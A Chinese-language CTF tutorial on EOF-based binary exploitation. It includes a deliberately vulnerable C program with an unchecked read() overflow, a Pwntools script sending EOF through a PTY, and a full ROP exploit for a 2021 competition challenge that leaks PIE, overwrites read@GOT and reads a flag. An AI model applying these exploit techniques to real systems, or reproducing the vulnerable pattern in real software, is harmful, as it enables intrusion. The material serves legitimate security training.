二进制安全 - EOF利用
字数 933 2025-08-23 18:31:18
EOF利用技术详解
1. EOF基础概念
EOF (End of File)是计算机科学中表示文件结束的术语,用于指示文件或输入流的结束位置。当程序读取文件或输入流时,会在遇到文件末尾时收到EOF信号。
关键特性:
- 不同操作系统和编程语言中EOF的表示方式可能不同
- 在pwn领域,EOF利用主要有两种类型:
- 发送EOF后仍可继续输入数据(仅限本地利用)
- 关闭输入流后无法再输入数据(适用于远程利用)
2. EOF发送后继续输入的利用
示例代码分析
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
char buf[24];
while(1) {
if(read(0, buf, 16) == 0) { // 当read返回0时跳出循环
break;
}
}
read(0, buf, 1000); // 存在缓冲区溢出漏洞
return 0;
}
关键点:
read()函数返回值:- 成功时返回读取的字节数
- 到达EOF时返回0
- 出错时返回-1并设置errno
利用方法:
- 使用伪终端(PTY)作为标准输入
- 发送EOF字符(tty.CEOF)使第一个read返回0
- 突破循环后触发缓冲区溢出
利用代码(Pwntools):
from pwn import *
import tty
context.os = 'linux'
context.log_level = "debug"
p = process("./pwn", stdin=PTY, raw=False)
p.send(chr(tty.CEOF)) # 发送EOF字符
p.clean()
p.interactive()
注意事项:
- 必须设置
raw=False以保证字节直接传递 - 仅适用于本地利用场景
3. EOF发送后结束输入的利用
实际案例:[广东强网杯2021个人决赛]server
利用思路:
- 泄露程序基址(PIE)
- 利用EOF提前结束输入
- 在EOF前布置好ROP链
关键步骤:
- 信息泄露:
ru('Username: ')
sl('r00t')
ru('Password: ')
sl('k')
ru('[*] Gift: ')
pie_base = int(p.recv(14), 16) - 0x4090
- 构造ROP链:
- 使用magic gadget修改read的GOT表为syscall
- 布置open/read/write系统调用链
- 发送EOF:
sla(b'[IN] ', payload)
p.shutdown('send') # 发送EOF结束输入
完整利用代码:
from pwn import *
context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'
p = process('./pwn')
#p=remote('node4.anna.nssctf.cn',28819)
def duan():
gdb.attach(p)
pause()
sla(b'Username: ', b'r00t')
sla(b'Password: ', b'flag')
ru('[*] Gift: ')
pie_base = int(p.recv(14), 16) - 0x4090
# Gadgets
rdi = pie_base + 0x1613
ret = pie_base + 0x101a
rax = pie_base + 0x1239
rdx = pie_base + 0x123b
rsi_r15 = pie_base + 0x1611
magic = pie_base + 0x1232
flag = pie_base + 0x4090
buf = pie_base + 0x40A0
sl(str(0x500))
# 构造ROP链
payload = b'a'*0x38
# read@got -> syscall
payload += p64(rdi) + p64(pie_base + 0x4040)
payload += p64(rax) + p64(0x10) + p64(magic)
# open
payload += p64(rax) + p64(2)
payload += p64(rsi_r15) + p64(0)*2
payload += p64(rdx) + p64(0)
payload += p64(rdi) + p64(flag)
payload += p64(pie_base + 0x4040)
# read
payload += p64(rax) + p64(0)
payload += p64(rsi_r15) + p64(buf)*2
payload += p64(rdx) + p64(0x50)
payload += p64(rdi) + p64(3)
payload += p64(pie_base + 0x4040)
# write
payload += p64(rax) + p64(1)
payload += p64(rsi_r15) + p64(buf)*2
payload += p64(rdx) + p64(0x50)
payload += p64(rdi) + p64(1)
payload += p64(pie_base + 0x4040)
sla(b'[IN] ', payload)
p.shutdown('send') # 关键:发送EOF结束输入
print(p.recv())
print(p.recv())
itr()
4. 关键知识点总结
-
read()函数行为:
- 返回0表示EOF
- 可利用此特性控制程序流程
-
PTY伪终端:
- 模拟终端输入环境
- 允许发送特殊控制字符(如EOF)
-
EOF发送时机:
- 必须在完成所有必要输入后发送
- 对于ROP利用,需提前布置好全部payload
-
Magic Gadget应用:
- 可用于修改GOT表
- 结合syscall实现多种功能
-
输入流控制:
shutdown('send')可关闭发送通道- 适用于需要提前结束输入的利用场景
5. 防御措施
- 对read返回值进行严格检查
- 避免在关键流程后留有漏洞代码
- 使用栈保护机制(Canary, ASLR等)
- 限制输入长度防止缓冲区溢出
通过深入理解EOF的特性和利用方法,可以在CTF比赛和二进制安全研究中发现更多有趣的攻击面。